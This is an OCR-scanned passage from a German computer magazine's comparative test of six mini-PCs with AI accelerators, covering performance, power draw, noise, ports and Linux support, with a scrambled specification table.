und dann offen stehende PCI-Express-
Grafikkarte anschlief3en kann. Ein Netz-
teil mit 24-poligem ATX-Stecker und
PClIe-Power-Kabeln je nach Grafikkarte
braucht man auflerdem.

Beiden Prozessoren fuhren Geekom
und Zotac Edge Ryzen-CPUs mit acht,
bis zu 5,2 GHz schnellen Kernen und
SMT auf. Ebenfalls integriert: Die flotte
Radeon-780M-Grafikeinheit und eine
XDNA-Einheit zur KI-Beschleunigung
mit Technik der AMD-Tochter Xilinx. Die
iibrigen vier Hersteller setzen auf Intels
Core-Ultra-100-Serie. Asrock, Asus und
Minisforum nutzen Konfigurationen mit

c't 2024, Heft 17

sechs schnellen Performance-Kernen
samt Hyper-Threading, die von acht spar-
samen Effizienzkernen unterstiitzt wer-
den und fiir den Leerlauf auf zwei Ultra-
Low-Power-Cores zuriickgreifen konnen.
Die Taktraten liegen bei maximal 4,8
GHz, fallen unter Last aber deutlich tiefer
als bei AMD, sodass die Performance
trotz der vielen Kerne am Ende in etwa
vergleichbar ist.

Eine Ausnahme ist Zotacs passiv ge-
kiihlte ZBox Nano. Hier kommt ein Core
Ultra 7 155U zum Einsatz, der sich von der
gleichnamigen H-Variante aber deutlich
unterscheidet. Seine Thermal Design
Power betrdgt nur 15 Watt statt 28 bis 45
Watt, damit er ohne Liifter nicht iberhitzt.
Zudem muss er auf'vier der sechs P-Kerne
verzichten. Damit fallt er als einziger bei
der Leistung deutlich ab, ist fiir alltagli-
chen, leichten Office-Einsatz aber schnell
genug und fiihlt sich dank der beiden
P-Kerne auch nicht langsam an. Gleiches
gilt iibrigens fiir die integrierte Intel-Arc-
Grafik, die nur vier statt acht Rechenein-
heiten hat.

Kl, erster Aufschlag

Anders als Intel und Qualcomm (siehe S.
14) arbeitet Ryzen AI nach AMD-Defini-
tion als Verbund von CPU-, IGP- und
XDNA-Berechnungen. Eine eigene API,
mit der man die Performance gut ausrei-
zen konnte, stellt AMD derzeit nicht zur
Verfligung, sondern verlasst sich auf Win-
dows ML. Im KI-Benchmark UL Procyon
Computer Vision reicht das nur fiir ent-
tauschende Ergebnisse. Mit bestenfalls
259 Punkten (erreicht auf der IGP mit
FP16-Genauigkeit) liegt AMD rund ein
Drittel hinter Intel, deren Chips mit dem
hauseigenen OpenVINO unter diesen Be-
dingungen rund 385 Punkte schaffen. Re-
duziert man die Genauigkeit auf Integer-
Prazision, sind es bei der Intel-IGP sogar
iiber 600 Punkte. In weiter Ferne liegen
sowohl Qualcomms Hexagon-NPU als

auch Apples M3 Pro, die beide zwischen
865 und 885 Punkte erreichen. Derzeit
profitieren von der Mini-PC-KI vor allem
Anwender, die Microsoft Copilot und be-
stimmte Windows-Studio-Effekte nutzen,
zum Beispiel um in Teams-Videokonfe-
renzen den Hintergrund unscharfzurech-
nen. Da sie dies viel effizienter als CPU-
oder IGP-Kerne erledigen, heult dabei der
Liifter nicht mehr storend auf.

Leistungsaufnahme

Die kleinen PCs stehen typischerweise
auf dem Schreibtisch und sollen deshalb
moglichst sparsam arbeiten, damit der
winzige Liifter nicht den ganzen Taglarmt.
Das gilt vor allem im Leerlauf, wenn es
sowiesonichts Anstrengendes zu tun gibt.
Alle Mini-PCs und -Barebones im Test be-
gniigen sich beim Nichtstun mit einstelli-
gen Wattzahlen und mit zweistelligen
unter Dauervolllast. Am besten gelingt die
Sparabstimmung dem Asus NUC 14 Pro
und der ZBox CI761 Nano von Zotac, die
mit 2,7 respektive 3,3 Wattim Leerlauf am
sparsamsten sind. Aufgrund des langsa-
men, aber mit niedriger Thermal Design
Power gldnzenden Core Ultra ,,U* liegt der
Zotac-Barebone unter CPU-Volllast mit
der geringsten Leistungsaufnahme von
rund 26 Watt an der Spitze des Testfelds.
Dabhinter rangiert die (drosselnde) NUC
BOXvon Asrock mit 41 Watt. Es folgen die
ZBox Edge mit 58 Watt, der Atomman X7
mit 66 Watt und Schlusslichter sind der
Geekom A8 (73 Watt) und der Asus-NUC
mit 87 Watt.

Aufgrund der kompakten Gehduse
gibt es wenig Platz fiir Kiihler und Liifter,
die deshalb viel Krach produzieren kon-
nen.

Wenig verwunderlich liegt die passiv
und damit gerduschlos gekiihlte ZBox
Nano beim Test in unserem schallarmen
Raum ganzvorn. Beim Atomman X7 nutzt
der Hersteller Minisforum das grofere Ge-
hause fiir eine leise Kithlung, die mit 0,5

Der 2,5"-Kifig des NUC 14 Pro nimmt auch Speichermedien mit bis zu 15 Millimetern
Hohe auf, das sind zum Beispiel alle HDDs mit mehr als 2 TByte.
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Asrock Industrial
NUC-BOX 155H

Was zunéachst wie ein Klon des NUC-
Originals aussieht, zeigte im Test ganz
andere Vor- und Nachteile. Nominell
dirfte der verwendete Intel Core Ultra
155H nur minimal langsamer sein als
der 165H im NUC 14 Pro. Im Test fiel er
aber deutlich zurtick. Der untypische
Grund: Asrock Industrial hat die NUC-
BOX mit einem vergleichsweise
zurlickhaltenden Lifter- und Energie-
profil ausgeliefert (Smart Fan IV Mode),
das zwar mit 1,2 sone bei nur 28 Watt
CPU Package Power recht leise war,
aber den Prozessor zwang, unter
Dauervolllast den Takt stark zu redu-
zieren.

Dadurch arbeitete die NUC-BOX
zum Beispiel beim 3D-Rendering in
Blender nur mit 60 Prozent der Perfor-
mance des NUC 14 Pro mit Core Ultra
7 165H. Auch bei der gemessenen Of-
fice-Performance wirkte sich die Takt-
drossel noch messbar aus - spliren wird
man das beim Texten oder bei Web-
anwendungen aber nicht.

Der Thunderbolt 4-/USB4-Typ-C-
Anschluss ist die linke der beiden ge-
meinsam mit ,USB/DP” beschrifteten
Buchsen an der Front und las satte 3,8
GByte/s ein und schrieb 3,2 GByte/s
auf unsere externe SSD. Die beiden
HDMI-Buchsen steuern zusammen mit
den frontseitigen Typ-C-Anschllssen
bis zu vier 4K-Displays mit 60 Hertz an.
Die beiden 2,5G-Netzwerkanschlisse
schwachelten beim Senden ein wenig
und erreichten nur 256 der Ublichen
rund 297 MByte/s. Im Deckel kann man
ein 2,5-Zoll-Laufwerk platzieren, muss
dazu aber das etwas fummelige, bei-
liegende SATA-Kabel montieren.

Asus NUC 14 Pro

Der NUC 14 Pro ist der erste NUC, den
Asus nach der Ubernahme der Mini-
PC-Sparte von Intel in Eigenregie ent-
wickelt hat. Das Ergebnis weil3 zu ge-
fallen, umso mehr, als Asus nach dem
Test in Ausgabe 14/2024 (S. 78) die von
uns bemangelten Schwachstellen mit
BIOS-Updates behoben hat. Die riick-
wartige USB-3.1-Gen1-Buchse schafft
jetzt die erwarteten 500 MByte/s und
das Wake-on-LAN funktioniert immer-
hin schonmal mit dem Hibernation-
Modus.

Ansonsten ist bei der getesteten,
hoheren Version positiv hervorzuhe-
ben, dass der Laufwerkskafig fur den
einzelnen SATA-Anschluss hoch genug
far 15-Millimeter-Festplatten mit groBer
Kapazitat ist. Das ist bei Minis eher sel-
ten und wichtig fir Nutzer, die viel, aber
billigen Speicherplatz brauchen. Zu-
satzlich gibt es noch zwei schnelle, per
PCle 4.0 x4 angebundene M.2-Steck-
platze flr SSDs, einer davon ist jedoch
nur 42 Millimeter lang. Der Thunder-
bolt-4-Anschluss las mit bis zu 3,8
GByte/s und schrieb maximal 3,3
GByte/s.

Im Testfeld ist der NUC 14 Pro mit
2,7 Watt im Leerlauf der sparsamste
Mini, auch unter Ubuntu-Linux 24.04
liegt er mit 3,3 Watt vorn. Asus lasst ihn
unter Volllast aber kraftig saufen, so-
dass er mit 60 Watt CPU Package Power
und 87 Watt an der Steckdose das
obere Ende der Leistungsskala ein-
nimmt. Da Asus es dabei etwas Uber-
treibt, drosselt er seinen Takt beim
Stresstest Prime95, nicht aber bei den
kiirzer laufenden Cinebench-Bench-
marks, bei denen er ebenfalls die
Hochstpunktzahlen einfahrt.

‘h.

Geekom A8

Der Komplett-PC von Geekom belegt
knapp die kleinste Stellflaiche und hat
mit weniger als einem halben Liter das
geringste Volumen im Testfeld. Er wirkt
mit seinem Alugehause duBerlich sehr
wertig und mutet fast an wie eine klei-
nere Version des Mac Mini. Mangels
Anschluss lasst er sich nicht mit einem
Kensington-Lock sichern. Im Inneren
des A8 steckt aktuelle AMD-Technik in
Form des AMD Ryzen 9 8945 HS, der
mit seinen acht Kernen und Simulta-
neous Multithreading schnell genug
fur alle Lagen im Leben eines Mini-PCs
ist.

Leider ist das IceBlast genannte
Kihlsystem ziemlich laut und pfeift
nervig, wenn die Rechenleistung dau-
erhaft abgerufen wird. An den zwei
HDMI- sowie den beiden USB-C-Buch-
sen kann man vier 4K-Displays an-
schlieBen, die im Test anders als bei
Geekom angegeben auch mit 60 Hertz
liefen.

Am USB4-Anschluss, der USB-PD
mit 15 Watt (5V, 3A) beherrscht, haben
wir mit 3,7 GByte pro Sekunde die
héchste Schreibrate im Test erzielt, die
Leseleistung lag mit 3,8 GByte/s auf
dem Niveau der Thunderbolt-4-Ports
in Intel-Systemen. Die eingebaute
Acer-SSD ist nicht so schnell wie etwa
eine Samsung 980 Pro, aber den Un-
terschied bemerkt man im Alltag nicht.
Der integrierte SDXC-Kartenleser ist
per USB angebunden und schafft im
Schnitt 190 MByte/s. Unter Ubuntu
24.04 war der Geekom A8 im Leerlauf
mit 4 Watt rund 1 Watt sparsamer als
unter Windows 11, daflir funktionierte
der Bluetooth-Stack des Wi-Fi-Kombi-
chips von Mediatek nicht.

© recht leise
sparsam unter Last, aber ...
© ... drosselt deutlich

© sehr sparsam im Leerlauf
© 15 Millimeter hoher 2,5"-Kafig
© drosselt unter Dauervolllast

© sehr kompakt
© hohe Gesamtleistung
© laute Kiihlung

60

c't 2024, Heft 17



Mini-PCs: Test | Titel

Minisforum Atomman X7 Ti

Der Atomman sticht in vielerlei Hinsicht
aus dem Testfeld heraus. Der Komplett-
PC hat ein Touch-Display im Deckel
integriert. Das zeigt in Verbindung mit
dem vorinstallierten Windows auBer
Systemiberwachungsdaten auch die
Uhrzeit an. Frei nutzbar ist es nicht.
AuBBerdem schaltet man darauf zur
Laufzeit zwischen Energiespar-, aus-
geglichenem und Leistungsmodus um.
Mangels Anleitung muss man es aber
erst mal schaffen, die Sprache von
Chinesisch auf Deutsch oder Englisch
umzustellen. Oberhalb des Displays
befindet sich auBerdem die Windows-
Hello-fahige 1080p-Webcam samt Mi-
krofon-Array.

Unter Ubuntu 24.04 zeigt das Dis-
play jedoch lediglich den Atomman-
Schriftzug an und den schnellen 5G-
Netzwerkports fehlen aktuelle Treiber
fir den 6.8er-Kernel. Der SD-Karten-
leser ist mit lahmem USB 2.0 angebun-
den. Wenn man den Atomman x7 als
Barebone flir 200 Euro weniger kauft,
muss man im Inneren erst den Kihler
demontieren, bevor man an die Steck-
platze fir Speicher und SSD heran-
kommt.

Der Prozessor liefert in vielen Dis-
ziplinen die hochsten Leistungswerte
im Test, ebenso die integrierte Arc-Gra-
fik. Die Kingston-SSD koénnte zwar
schneller sein, bremst den Rechner
aber nicht spurbar. Dem USB4-Port
konnten wir maximal 2 GByte/s entlo-
cken, die Front-Anschlisse vom Typ A
lieferten das erwartete Gigabyte pro
Sekunde. Die beiden 5G-Netzwerk-
chips sind mit beinahe 600 MByte/s die
mit Abstand schnellsten im Testfeld,
auch das Wi-Fi-7-Funkmodul ist das
Schnellste im Test.

Zotac ZBox MA762 Edge

Dem Volumen nach der zweitkleinste
PC im Feld, hat Zotac die ZBox Edge
besonders flach gebaut - nicht einmal
3 Zentimeter ist sie hoch. Zu den 15 x
15 Zentimeter Grundflache kommen in
der Tiefe noch einmal 3,3 Zentimeter
flr die einzelne WLAN-Stummelanten-
ne hinzu. Der etwas billig wirkende De-
ckel wird von drei kleinen Kreuzschlitz-
schrauben gehalten und gewéahrt nach
deren Entfernung Zugang zu den Steck-
platzen flir M2-2280-SSD und den SO-
DIMMs.

Das Kiihlsystem im Inneren ist win-
zig und hat seine liebe Muh, die acht
Kerne des aus dem vorigen Jahr stam-
menden AMD Ryzen 7 7840 HS auf
Temperatur zu halten; es wird mit 2,6
sone jedenfalls nervig laut dabei. Die
Performance liegt absolut im griinen
Bereich, die Edge ist aber etwa 15 Pro-
zent langsamer als andere Ryzen-
7000/8000, weil Zotac sie nur mit ma-
ximal 33 Watt betreibt - moglich waren
45. Zudem gibt der Hersteller dem
Kihlsystem eine niedrige Zieltempera-
tur vor. Als Edge-Device, bei dem auch
mit Dauereinsatz gerechnet werden
muss, sicher nicht die schlechteste Ent-
scheidung.

Der USB4-Typ-C-Anschluss an der
Frontseite schaffte im Test nur rund 1,9
GByte/s, die drei Typ-A-Buchsen (1 x
vorn, 2 x hinten) waren mit 1,0 GByte
so schnell wie von USB 3.2 Gen2 zu er-
warten, ebenso die beiden Gbit-Ether-
net-Anschlisse. Mit USB-C, DisplayPort
und HDMI steuert die ZBox Edge drei
4K-Bildschirme mit 60 Hertz an. Unter
Ubuntu 24.04 liefen sowohl WLAN als
auch Bluetooth des Mediatek-Moduls
problemlos ab Installation.

O leise Kiihlung
© schnelles Netzwerk
© Display unflexibel

© superflach
© USB4 lahm
© wenige USB-Ports

Zotac ZBox ClI671 Nano

Trotz ihres Namens ist die ZBox CI671
Nano mit rund 1,8 Litern das groBte
Gerat im Test. Zotac nutzt den Platz
darin vorrangig fur den Passivkihler.
Damit ist die Nano im Betrieb nicht zu
horen, auch stoérende Fiep- oder Pfeif-
gerausche von den Spulen konnten wir
nicht ausmachen.

Um die Abwarme ohne Luftzug

loszuwerden, setzt Zotac den langsa-
meren Core Ultra 7 155U ein. Der hat,
auch wenn ihn nur ein Buchstabe von
der H-Version trennt, nur zwei statt
sechs schnelle P-Kerne. Die takten
zwar ahnlich hoch wie beim H, sodass
sich der Mini-Barebone beim Bedienen
flott anflhlt; ein Eindruck, den auch
die Singlethreading-Tests des Cine-
bench bestatigen. Aber die Dauerre-
chenleistung liegt nur bei rund einem
Drittel dessen, was die schnelleren
H-Versionen schaffen. Wer seinen Mi-
ni-PC als hart schuftenden Rechen-
knecht einspannen will, sollte sich
woanders umsehen. Mit der CI651
Nano und seinem Core Ultra 5 125U
kann man etwas Geld sparen.
Als einzigem Gerat im Test fehlen dem
CI1671 Thunderbolt 4 und USB4, und er
funkt nicht im 6G-Band. Sein Wi-Fi-
Durchsatz liegt mit nur einer Antenne
am unteren Ende des Testfeldes. Eben-
falls als einziger nimmt er zwei 2280er-
M.2.-SSDs auf, eine davon optional mit
SATA-Protokoll. Die zwei DisplayPort-
Buchsen und der HDMI-Anschluss steu-
ern drei 4K-Displays mit 60 Hertz an -
der USB-C-Port transportiert jedoch
kein DP-Signal. Die Transferraten von
USB und Netzwerk entsprechen mit 1
GByte/s respektive 119 MByte/s den Er-
wartungen.

© gerauschlose Passivkiihlung
Performance etwas knapp
© kein Wi-Fi im 6G-Band
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Mini-PCs mit KI-Beschleuniger
Hersteller,ip __[NUCBoxssH  [NUCHM4Po [ |MowmenXTitamim

Hersteller, Website
Modellnummer

Asrock Industrial, asrockind.com
BOX-155H

Asus, asus.com/de
NUC14RVH

Geekom, geekom.de
R9-8945HS 32GB RAM + 2TB SSD

Minisforum, miniforum.com
X7 Titanium

Hardware-Ausstattung

CPU / Kerne / Takt ( max. Turbo) /
Liifter geregelt

RAM (Typ / maximal) / -Slots (frei)
Grafikeinheit

Mainboard (Format) / Chipsatz /
Sound-Chip

Erweiterungs-Slots (frei)

SSD (Typ, Kapazitét)

LAN- / WLAN-Interface
(Chip, Anbindung) / TPM

Abmessungen (B X T X H) / Gewicht

Kensington-Lock / Schlosslasche
Anschliisse hinten

Anschliisse vorn

Betriebssystem / installiert im
UEFI-Modus / Secure-Boot

Lieferumfang

Intel Core Ultra 7 155H /
6P inkl. SMT + 8E+ 2 LP / 1,4 (4,8) GHz /
v

n.v. (DDR5-5600 / 96 GByte) /
2 x SO-DIMM (2)

Intel Arc Graphics (8 Xe-Cores, 2,25 GHz)
proprietdr / SoC / Realtek ALC256

1% M.2-2280 M-Key PCle 4.0 x4 (1),
1 X M.2-2242 M-Key PCle 4.0 x4 (1),
1x M.2-2230 E-Key (0), 1 x 2,5" (1)

n.v.

2 x 2,5 GBt/s (Intel i226-LM & i226-V) /
Wi-Fi BE (Intel Wi-Fi 6E AX211, M.2-2230) /
v

11,8cm x 11,0 cm x 5,3 cm / 668 g

v/-

2 X HDMI 2.1, 2 X USB-A 3.2 Gen2 (10
Ghit/s), 2 X LAN (2,5 Gbit/s, RJ45),

1 X Strom

1 % USB-C (USB4/Thunderbol, 40 Gbit/s,
DP alt), 1 x USB-C 3.2 Gen2x2 (20 Gbit/s,
DP alt), 1 x USB-A 3.2 Gen2 (10 Gbit/s),
1 X Miniklinke (Headset)

nv./nv./v

VESA-Halterung, SATA-Kombianschlusskabel,
Netzteil (ACBel ADC027, 19V/6,32 A, 120W)

Intel Core Ultra 7 165H /
6P inkl. SMT + 8E + 2 LP / 1,4 (5,0) GHz /
v

n.v. (DDR5-5600 / 96 GByte) /

2% SO-DIMM (2)

Intel Arc Graphics (8 Xe-Cores, 2,3 GHz)
proprietdr / SoC / Intel SST

2 x M.2-2280 M-Key PCle 4.0 ¥4(2),
1x25" (1)

n.v.

1% 2,5 GBit/s (Intel i226-LM) /
Wi-Fi 6 (Intel Wi-Fi 6EAX211) / «/

11,8 cm x 11,3 cm x 5,4 cm / 624 ¢

v /-

2 x HDMI 2.1, 2 X USB-C (Thunderbolt 4,
40 Gbit/s, DP alt), 1 x USB-A 3.2 Gen2 (10
Gbit/s), 1 X USB-A 2.0, 1 X LAN (2,5 Gbit/s,
RJ45), 1 X Strom

2 x USB-A 3.2 Gen?2 (10 Gbit/s), 1 X USB-C
Gen 3.2 2x2 (20 Gbit/s)

n.v./ n.y./ v (nicht aktiviert)

VESA-Halterung, Netzteil (FSP120-ABBU3,
19V/6,32 A, 120W)

Elektrische Leistungsaufnahme, Datentransfer-Messungen und Gerauschentwicklung in Windows 11

Soft-Off (mit ErP) / Energie Sparen
Leerlauf (Linux: Ubuntu 24.04)

Volllast: CPU / CPU + GPU

SSD: Lesen (Schreiben)?

USB-A/-C Front: Lesen (Schreiben)
USB-A/-C Hinten: Lesen (Schreiben)
Thunderbolt 4 / USB4: Lesen (Schreiben)
LAN 1/2: Empfangen (Senden)
SDXC-Card: Lesen (Schreiben)

WLAN® 2,4G / 5G / 6G: nah (20 m)

Gerduschentwicklung Leerlauf /
Volllast [sone] (Note)

Secure-Boot ab- / CSM einschaltbar
Wake on LAN: Standby / Soft-off

USB: 5V in Soft-off / Wecken per
USB-Tastatur aus: Standby (Soft-off)

Bootdauer bis Login

Parallelbetrieb Monitore 4K 60 Hz
Systemleistung

Cinebench R23: 1T / MT

Cinebench 2024: 1T / MT

UL PC Mark 10 / BAPCo SYSMark 30

AMD Ryzen 9 8945 HS/
8inkl. SMT / 4,0 (5,2) GHz / v/

2 x 16 GByte Crucial CT16656C4655.C8D
(DDR5-5600 / 64 GByte) / 2 (0)

Radeon 780M
proprietdr / SoC / Realtek ALC269

1% M.2-2280 M-Key PCle 4.0 x4 (0),
1x M.2-2230 E-Key (0)

Acer SSD N5000 (M.2, PCle 4.0 x4, 2 TByte)

1 2,5 Gbit/s (Realtek RTL8125BG-CG) /
Wi-Fi BE (MediaTek MT9722, M.2-2230) / v/

11,3ecmx 11,4cmx 3,7¢cm /432 ¢

—_ / _

2 X HDMI 2.0, 1 x USB-C USB4 Gen3

(40 Gbit/s, DP alt, PD), 1 x USB-C 3.2 Gen2
(10 Gbit/s, DP alt), 1 x USB-A 3.2 Gen2
(10 Gbit/s), 1 x USB-A (2.0), 1 X LAN

(2,5 Gbit/s, RJ45), 1 X Strom

2 % USB-A 3.2 Gen2 (10 Gbit/s),
1 X Miniklinke (Headset), Power-Taster

Windows 11Pro/ v/ /v

VESA-Halterung, HDMI-Kabel, Netzteil
(Hyleton, 19V/6,32A, 120W)

Intel Core Ultra 9 185H /
6P inkl. SMT +8E+ 2 LP /
2,3(5,1) GHz / v/

2 % 16 GByte (DDR5-5600 /
96 GByte) / 2 x SO-DIMM (0)
Intel Arc Graphics

(8 Xe-Cores, 2,35 GHz)

proprietdr / SoC / Realtek ALC269

1 X M.2-2280 M-Key PCle 4.0 x4 (1),
1 X M.2-2242 M-Key PCle 4.0 x4 (1)

Kingston OM8PGP41024(Q
(M.2, PCle 4.0 x4, 1 TByte)

2 x 5 Gbit/s (Realteak 8126) /
Wi-Fi 7 (Intel BE200) / v/

14,6 cm X 14,7 cm X 4,8 cm / 860 g

N4

2 X DisplayPort 1.4, 1 X HDMI 2.0,
1 X 0Culink, 2 X USB-A (5 Gbit/s),
2 X USB-A (480 Mbit/s), 1 X Strom,
2 X LAN (5 Gbit/s, RJ45), 1 X Strom

1 X% USB-C (5 Ghit/s), 1 x USB-A
(10 Gbit/s),
1 X Miniklinke (Headset)

Windows 11 Pro/ v/ / v/

Metallaufsteller, Netzteil
(Minisforum HKA12019063-0D6,
19V/6,32A, 120W)

1AW (1,3W)/2,6W 0,7W(-)/09W 1,0W(=)/36W 18W(0,4W)/45W
57 (7,00W 2,7(33)W 52 (4,1)W 99 (9,7)W
41W/55W 87TW/92W 73W/86W 66W/81W
6.710 (3.390) MByte/s 6.710 (4.814) MByte/s 4.967 (4.579) MByte/s 4.821 (3.914) MByte/s
1,0 (1,0)/ 2,1 (2,0) GByte/s 1,0 (1,1) GByte/s / n.v. 0,9 (1,0) GByte/s 1,0 (1,0) GByte/s
1,1 (1,0) GByte/s / n.v. 1,0 (1,0) GByte/s / n.v. 1,0 (1,0)/ 1,0 (1,0) GByte/s 0,5 (0,5) GByte/s / n.v.
3,8 (3,3) GByte/s / n.v. 3,8 (3,3) GByte/s / n.v. n.v./ 3,8 (3,7) GByte/s nv./ 1,9 (1,7) GByte/s
296 (256) / 296 (251) MByte/s 297 (298) MByte/s / n.v. 297 (298) MByte/s / n.v. 593 (593) / 593 (595) MByte/s
n.v. n.v. 196 (184) MByte/s 26 (27) MByte/s
284 (29) / 1243 (45) / 402 (79) / 1506 (607) / 301 (73)/ 1156 (44) / 440 (162) / 1829 (248) /
1458 (261) Mbit/s 1680 (470) Mbit/s 1094 (28) Mbit/s 2562 (464) MBit/s
02(@®)/12(0) <01 (@®)/18(©) <01(®®)/29(©0) <01 (@®)/05®®)
 oitionstests
v /- v/= v/- v/=
/- - VIV -1V
/v (=) —/V (=) v/ USB links an der Frontseite / v/ (=) /v (=)
14s 11s 14s 21s
4 4 4 4
sstemieistong
1686 / 11141 Punkte 1815 / 17331 Punkte 1807 / 16496 Punkte 1859 / 17299 Punkte
100 / 592 Punkte 110 / 959 Punkte 107 / 947 Punkte 110 / 944 Punkte
6433 / — Punkte 6831/ 1749 Punkte 7618 / — Punkte 6922 / 1889 Punkte
589 s 353s 334s 343s

Blender 3.6.9 LTS (classroom)

3DMark Time Spy (DX12) / Steel Nomad
(DX12) / Port Royal (DX12 RT)

3360/ 675 / 1474 Punkte

3515/ 622 / 1349 Punkte

3191/ 507 / 1693 Punkte

3562 / 659 / 1404 Punkte

Bewertung
Leistung: Office / Rendering / Spiele
Preis / Garantie

In Klammern plus WLAN-Stummelantenne
n.v. nicht vorhanden

 funktioniert ~ — funktioniert nicht

@D/ ®/ 00
830 € / 1 Jahr

% bei Barebones mit Samsung SSD 980 Pro 1 TByte
@ gut

@@ sehr gut

O zufriedenstellend @ schlecht

@D/ ®/0
970 € / 3 Jahre
3 gemessen mit Zyxel WBE660S

@D/ ®/0
930 €/ 3 Jahre

* bei Registrierung weitere 2 Jahre
©O sehr schlecht

DD/ D/ 0
960 € / 3 Jahre

c't 2024, Heft 17



Mini-PCs: Test | Titel

Zotac, zotac.com
ZBOX-MA762

AMD Ryzen 7 7840 HS/
8inkl. SMT / 3,8 (5,1) GHz /
v

n.v. (DDR5-5600 / 64 GByte) /
2% SO-DIMM (2)

Radeon 780M

proprietdr / SoC /
Conexant SN6140

1 M.2-2280 M-Key PCle 4.0
¥4 (1)

n.v.

2 x 1 Gbit/s (Realtek 8168) /
Wi-Fi 6E (MediaTek MT9722/
RZ616, M.2-2230) / v/

15,0 cm X 15,0 (+3,3)' cm X
29cm/452¢

v/-

1 X DisplayPort 1.4, 1 X HDMI
2.1,2 % USB-A (3.2 Gen 2,

10 Gbit/s), 2 x LAN (1 GBit/s,
RJ45),1 X Strom

1 X USB-C (USB4, 20 Gbit/s), 1
X USB-A (10 Gbit/s), 1 x
Miniklinke (Headset)

nv./nv./v

VESA-Halterung, USB-Stick mit
Treibern, Netzteil (Delta ADP-
65JH, 19V/3,42A, 65W)

1,6W(0,4W)/3,6W

79 (89 W

58 W/ 60W

6.874 (4.966) MByte/s

1,0 (1,0) GByte/s / n.v.

1,0 (1,1) GByte/s / n.v.

1,9 (1,9) GByte/s / n.v.

119 (119) / 119 (119) MByte/s
n.v.

282 (81) / 1139 (133) /
981 (~) MBit/s

02(@®)/26(©0)

V-
JIV
VIV ()

11s

1779 / 13746 Punkte
105 / 810 Punkte

7210 / 1857 Punkte
403s

2992 / 415 / 1153 Punkte

DD/ D/
500 € / 3 Jahre*
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| zBox Edge MAT62 ZBox Naro C1671

Zotac, zotac.com/de
ZBOX-CI671

Intel Core Ultra 7 155U /

2P inkl. SMT+ 8E+2LP/

1,7 (4,8)GHz / v

n.v. (DDR5-5600 / 64 GByte) /
2 % SO-DIMM (2)

Intel Graphics
(4 Xe-Cores, 1,95 GHz)

proprietdr / SoC / Intel SST

2 x M.2-2280 M-Key PCle 4.0
¥4 (2,1 NVME, 1 X NMVe/
SATA)

n.v.

1x 1 Gbit/s (Realtek 8168) /
Wi-Fi 6 (Intel Wi-Fi 6 AX101,
M.2-2230) / v/

20,4 cm x 12,9 (+3,7)1 cm X

6,6 cm/ 1088 g

v /-

2 X DisplayPort 1.4, 1 X HDMI
2.1,1 % USB-C (3.2 Gen 2,

10 Ghit/s), 2 x USB-A (3.2 Gen
2,10 Gbit/s), 1 x USB-A (2.0),
2 % LAN (1 Gbit/s, RJ45),

1 X Strom

2% USB-A (3.2 Gen 2, 10
Ghit/s ), 1 X Miniklinke
(Headset), Power-Taster

—/nv/ v

VESA-Halterung, USB-Stick mit
Treibern, Netzteil (Delta ADP-
65JH, 19V/3,42A, 65W)

0,6W (0,6W)/ 4,7W
33(66)W

26W/ 30W

6.847 (4.918) MByte/s

1,0 (1,1) GByte/s / n..
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n.v.
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1559 / 6702 Punkte

94 / 382 Punkte

5560 / 1391 Punkte

962 s

2089 / 386 / 857 Punkte

®D/0 /0
670 € / 3 Jahre*

sone unter Volllast nicht auf die Nerven
geht. Dahinter folgt iiberraschenderweise
die NUC-Box, deren 1,2 sone Asrock In-
dustrial aber mit einer drosselnden CPU
erkauft. In der Mitte des Testfeldes liegt
der Asus NUC 14 Pro, und ziemlich nervig
pfeifen die kleinen Liifterchen beim Gee-
kom A8 und der Zbox Edge. Der Asrock
und die ZBox Edge sind auch die einzigen,
dieim Leerlaufunsere Messgrenze von 0,1
sone iiberschritten.

Performance

Fiir den Biiroalltag mit Textverarbeitung,
Tabellenkalkulationen und Webanwen-
dungen sind alle Prozessoren ausreichend
flott unterwegs. Sogar der Intel Core 7
Ultra 155U, der aufgrund der geringen
Thermal Design Power von 15 Watt nur
mit zwei schnellen P-Kernen ausgestattet
ist, gentigt dafiir problemlos, auch wenn
er in Office-Benchmarks zuriickfallt.

Wer aufwendigere Programme laufen
lassen muss oder mit virtuellen Maschi-
nen jongliert wie andere mit offenen
Browser-Tabs, fiir den lohnt ein tieferer
Blick auf die CPU- und System-Perfor-
mance. Wenn es um die Videoumwand-
lung mit den CPU-Kernen via Handbrake
geht oder um das 3D-Rendering mit Blen-
der, liegt der Core Ultra7 155U im Barebo-
ne Zotac Nano mit deutlichem Abstand
am Schluss des Feldes. Ebenfalls ver-
gleichsweise langsam rechnet der Core
Ultra 7 155H in der NUC BOX von Asrock
Industrial. Hier ist aber die unzureichende
Kiithlung schuld. Sie lasst die CPU-Kerne
gnadenlos in die thermische Drossel ren-
nen, sodass sie ihren Takt stark reduzie-
ren, was wiederum die Leistung driickt.

Die iibrigen vier Kandidaten liegen
leistungstechnisch sehr dicht beisammen.
Je nachdem, welchem Office-Benchmark
man Glauben schenken mag, sind mal die
von AMD-Prozessoren angetriebenen Ge-
ekom A8 und Zotac Edge im PCMark 10
vorn, wihrend die Intel-Modelle in den
PCsund Barebones von Asus, Minisforum
und Zotac die SYSMark 30 fiir sich ent-
scheiden. Die Unterschiede in beide Rich-
tungen sind aber zu gering, um das ent-
scheidende Kaufargument zu sein.

Eine dhnliche Verteilung, inklusive
der Ausreifder von Asrocks NUC BOX und
der Zotac Nano, ergibt sich bei den integ-
rierten Grafikeinheiten (IGPs). Sie steuern
mehrere 4K-Bildschirme mit 60 Hertzund
mehranund entlasten die CPU-Kerne bei
der Videowiedergabe in den meisten ak-
tuellen Formaten wie AV1, H.265 oder

VP9. In 3D-Spielen, die eine aufwendige
und schicke Grafikdarstellung verwenden,
muss man Auflosung und Detailgrad deut-
lich zuriickschrauben, um ertragliche Bild-
raten zu erzielen.

Linux

Wie immer haben wir uns auch ange-
schaut, wie die Gerite unter Linux funk-
tionieren. Die Distribution der Wahl war
dabei die aktuelle Ubuntu-Version 24.04.
Das freie Betriebssystem funktionierte
auch auf der aktuellen Hardware bis auf
kleinere Nickligkeiten gut. 0,6 bis 1,3 Watt
hin oder her bei der Leerlauf-Leistungs-
aufnahme machen den Kohl nicht fett,
Geekoms A8 und der Atomman X7 Ti
waren unter Ubuntu sogar sparsamer. Mit
allen Mini-PCs kommt man entweder per
Ethernet oder WLAN - aber nicht immer
mitbeiden -ins Netz, um sich neue Treiber
und Aktualisierungen zu saugen. Beim
Geekom lief der Bluetooth-Stack nicht
und bei der ZBox Nano versagte die Wi-
Fi-Funktion mit den Treibern im Stan-
